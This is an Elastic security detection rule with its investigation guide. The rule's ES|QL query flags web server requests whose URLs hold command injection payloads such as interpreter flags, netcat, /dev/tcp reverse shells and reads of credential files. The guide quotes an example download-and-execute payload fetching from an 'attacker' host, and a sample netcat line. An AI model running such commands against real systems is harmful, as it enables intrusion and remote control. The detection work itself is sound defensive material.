Web Server Potential Command Injection Request
This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early.
Elastic rule (View on GitHub)
1[metadata]
2creation_date = "2025/11/19"
3integration = ["nginx", "apache", "apache_tomcat", "iis"]
4maturity = "production"
5updated_date = "2025/12/01"
6
7[rule]
8author = ["Elastic"]
9description = """
10This rule detects potential command injection attempts via web server requests by identifying URLs that contain
11suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web
12applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby,
13PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to
14potential threats early.
15"""
16from = "now-9m"
17interval = "10m"
18language = "esql"
19license = "Elastic License v2"
20name = "Web Server Potential Command Injection Request"
21note = """ ## Triage and analysis
22
23> **Disclaimer**:
24> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
25
26### Investigating Web Server Potential Command Injection Request
27
28This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload.
29
30### Possible investigation steps
31
32- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent.
33- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host.
34- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious.
35- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability.
36- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet.
37
38### False positive analysis
39
40- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution.
41- A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", "nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters.
42
43### Response and remediation
44
45- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe.
46- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request.
47- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/*, /dev/shm/*, suspicious files in the webroot), and revert cron/systemd or SSH key changes.
48- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations.
49- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected.
50- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation.
51"""
52risk_score = 21
53rule_id = "f3ac6734-7e52-4a0d-90b7-6847bf4308f2"
54severity = "low"
55tags = [
56 "Domain: Web",
57 "Use Case: Threat Detection",
58 "Tactic: Reconnaissance",
59 "Tactic: Persistence",
60 "Tactic: Execution",
61 "Tactic: Credential Access",
62 "Tactic: Command and Control",
63 "Data Source: Nginx",
64 "Data Source: Apache",
65 "Data Source: Apache Tomcat",
66 "Data Source: IIS",
67 "Resources: Investigation Guide",
68]
69timestamp_override = "event.ingested"
70type = "esql"
71query = '''
72from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*
73| where
74 // Limit to 200 response code to reduce noise
75 http.response.status_code == 200
76
77| eval Esql.url_original_to_lower = to_lower(url.original)
78
79| eval Esql.contains_interpreter = case(Esql.url_original_to_lower like "*python* -c*" or Esql.url_original_to_lower like "*perl* -e*" or Esql.url_original_to_lower like "*ruby* -e*" or Esql.url_original_to_lower like "*ruby* -rsocket*" or Esql.url_original_to_lower like "*lua* -e*" or Esql.url_original_to_lower like "*php* -r*" or Esql.url_original_to_lower like "*node* -e*", 1, 0)
80| eval Esql.contains_shell = case(Esql.url_original_to_lower like "*/bin/bash*" or Esql.url_original_to_lower like "*bash*-c*" or Esql.url_original_to_lower like "*/bin/sh*" or Esql.url_original_to_lower rlike "*sh.{1,2}-c*", 1, 0)
81| eval Esql.contains_nc = case(Esql.url_original_to_lower like "*netcat*" or Esql.url_original_to_lower like "*ncat*" or Esql.url_original_to_lower rlike """.*nc.{1,2}[0-9]{1,3}(\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*""" or Esql.url_original_to_lower like "*nc.openbsd*" or Esql.url_original_to_lower like "*nc.traditional*" or Esql.url_original_to_lower like "*socat*", 1, 0)
82| eval Esql.contains_devtcp = case(Esql.url_original_to_lower like "*/dev/tcp/*" or Esql.url_original_to_lower like "*/dev/udp/*", 1, 0)
83| eval Esql.contains_helpers = case((Esql.url_original_to_lower like "*/bin/*" or Esql.url_original_to_lower like "*/usr/bin/*") and (Esql.url_original_to_lower like "*mkfifo*" or Esql.url_original_to_lower like "*nohup*" or Esql.url_original_to_lower like "*setsid*" or Esql.url_original_to_lower like "*busybox*"), 1, 0)
84| eval Esql.contains_sus_cli = case(Esql.url_original_to_lower like "*import*pty*spawn*" or Esql.url_original_to_lower like "*import*subprocess*call*" or Esql.url_original_to_lower like "*tcpsocket.new*" or Esql.url_original_to_lower like "*tcpsocket.open*" or Esql.url_original_to_lower like "*io.popen*" or Esql.url_original_to_lower like "*os.execute*" or Esql.url_original_to_lower like "*fsockopen*", 1, 0)
85| eval Esql.contains_privileges = case(Esql.url_original_to_lower like "*chmod*+x", 1, 0)
86| eval Esql.contains_downloader = case(Esql.url_original_to_lower like "*curl *" or Esql.url_original_to_lower like "*wget *" , 1, 0)
87| eval Esql.contains_file_read_keywords = case(Esql.url_original_to_lower like "*/etc/shadow*" or Esql.url_original_to_lower like "*/etc/passwd*" or Esql.url_original_to_lower like "*/root/.ssh/*" or Esql.url_original_to_lower like "*/home/*/.ssh/*" or Esql.url_original_to_lower like "*~/.ssh/*" or Esql.url_original_to_lower like "*/proc/self/environ*", 1, 0)
88| eval Esql.contains_base64_cmd = case(Esql.url_original_to_lower like "*base64*-d*" or Esql.url_original_to_lower like "*echo*|*base64*", 1, 0)
89| eval Esql.contains_suspicious_path = case(Esql.url_original_to_lower like "*/tmp/*" or Esql.url_original_to_lower like "*/var/tmp/*" or Esql.url_original_to_lower like "*/dev/shm/*" or Esql.url_original_to_lower like "*/root/*" or Esql.url_original_to_lower like "*/home/*/*" or Esql.url_original_to_lower like "*/var/www/*" or Esql.url_original_to_lower like "*/etc/cron.*/*", 1, 0)
90
91| eval Esql.any_payload_keyword = case(
92 Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or
93 Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or
94 Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 1, 1, 0)
95
96| keep
97 @timestamp,
98 Esql.url_original_to_lower,
99 Esql.any_payload_keyword,
100 Esql.contains_interpreter,
101 Esql.contains_shell,
102 Esql.contains_nc,
103 Esql.contains_devtcp,
104 Esql.contains_helpers,
105 Esql.contains_sus_cli,
106 Esql.contains_privileges,
107 Esql.contains_downloader,
108 Esql.contains_file_read_keywords,
109 Esql.contains_base64_cmd,
110 Esql.contains_suspicious_path,
111 source.ip,
112 destination.ip,
113 agent.id,
114 http.request.method,
115 http.response.status_code,
116 user_agent.original,
117 host.name,
118 event.dataset
119
120| stats
121 Esql.event_count = count(),
122 Esql.url_path_count_distinct = count_distinct(Esql.url_original_to_lower),
123
124 // General fields
125
126 Esql.host_name_values = values(host.name),
127 Esql.agent_id_values = values(agent.id),
128 Esql.url_path_values = values(Esql.url_original_to_lower),
129 Esql.http.response.status_code_values = values(http.response.status_code),
130 Esql.user_agent_original_values = values(user_agent.original),
131 Esql.event_dataset_values = values(event.dataset),
132
133 // Rule Specific fields
134 Esql.any_payload_keyword_max = max(Esql.any_payload_keyword),
135 Esql.contains_interpreter_values = values(Esql.contains_interpreter),
136 Esql.contains_shell_values = values(Esql.contains_shell),
137 Esql.contains_nc_values = values(Esql.contains_nc),
138 Esql.contains_devtcp_values = values(Esql.contains_devtcp),
139 Esql.contains_helpers_values = values(Esql.contains_helpers),
140 Esql.contains_sus_cli_values = values(Esql.contains_sus_cli),
141 Esql.contains_privileges_values = values(Esql.contains_privileges),
142 Esql.contains_downloader_values = values(Esql.contains_downloader),
143 Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords),
144 Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd),
145 Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path)
146
147 by source.ip, agent.id
148
149| where
150 // Filter for potential command injection attempts with low event counts to reduce false positives
151 Esql.any_payload_keyword_max == 1 and Esql.event_count < 5
152'''
153
154[[rule.threat]]
155framework = "MITRE ATT&CK"
156
157[[rule.threat.technique]]
158id = "T1505"
159name = "Server Software Component"
160reference = "https://attack.mitre.org/techniques/T1505/"
161
162[[rule.threat.technique.subtechnique]]
163id = "T1505.003"
164name = "Web Shell"
165reference = "https://attack.mitre.org/techniques/T1505/003/"
166
167[rule.threat.tactic]
168id = "TA0003"
169name = "Persistence"
170reference = "https://attack.mitre.org/tactics/TA0003/"
171
172[[rule.threat]]
173framework = "MITRE ATT&CK"
174
175[[rule.threat.technique]]
176id = "T1059"
177name = "Command and Scripting Interpreter"
178reference = "https://attack.mitre.org/techniques/T1059/"
179
180[[rule.threat.technique.subtechnique]]
181id = "T1059.004"
182name = "Unix Shell"
183reference = "https://attack.mitre.org/techniques/T1059/004/"
184
185[rule.threat.tactic]
186id = "TA0002"
187name = "Execution"
188reference = "https://attack.mitre.org/tactics/TA0002/"
189
190[[rule.threat]]
191framework = "MITRE ATT&CK"
192
193[[rule.threat.technique]]
194id = "T1071"
195name = "Application Layer Protocol"
196reference = "https://attack.mitre.org/techniques/T1071/"
197
198[rule.threat.tactic]
199id = "TA0011"
200name = "Command and Control"
201reference = "https://attack.mitre.org/tactics/TA0011/"
202
203[[rule.threat]]
204framework = "MITRE ATT&CK"
205
206[[rule.threat.technique]]
207id = "T1595"
208name = "Active Scanning"
209reference = "https://attack.mitre.org/techniques/T1595/"
210
211[[rule.threat.technique.subtechnique]]
212id = "T1595.002"
213name = "Vulnerability Scanning"
214reference = "https://attack.mitre.org/techniques/T1595/002/"
215
216[[rule.threat.technique.subtechnique]]
217id = "T1595.003"
218name = "Wordlist Scanning"
219reference = "https://attack.mitre.org/techniques/T1595/003/"
220
221[rule.threat.tactic]
222id = "TA0043"
223name = "Reconnaissance"
224reference = "https://attack.mitre.org/tactics/TA0043/"
Triage and analysis
Disclaimer: This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
Investigating Web Server Potential Command Injection Request
This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload.
Possible investigation steps
- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent.
- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host.
- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious.
- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability.
- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet.
False positive analysis
- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution.
- A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", "nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters.
Response and remediation
- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe.
- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request.
- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/, /dev/shm/, suspicious files in the webroot), and revert cron/systemd or SSH key changes.
- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations.
- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected.
- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation.
Related rules
- Web Server Suspicious User Agent Requests
- Potential Spike in Web Server Error Logs
- Web Server Discovery or Fuzzing Activity
- Web Server Potential Spike in Error Response Codes
- Simple HTTP Web Server Connection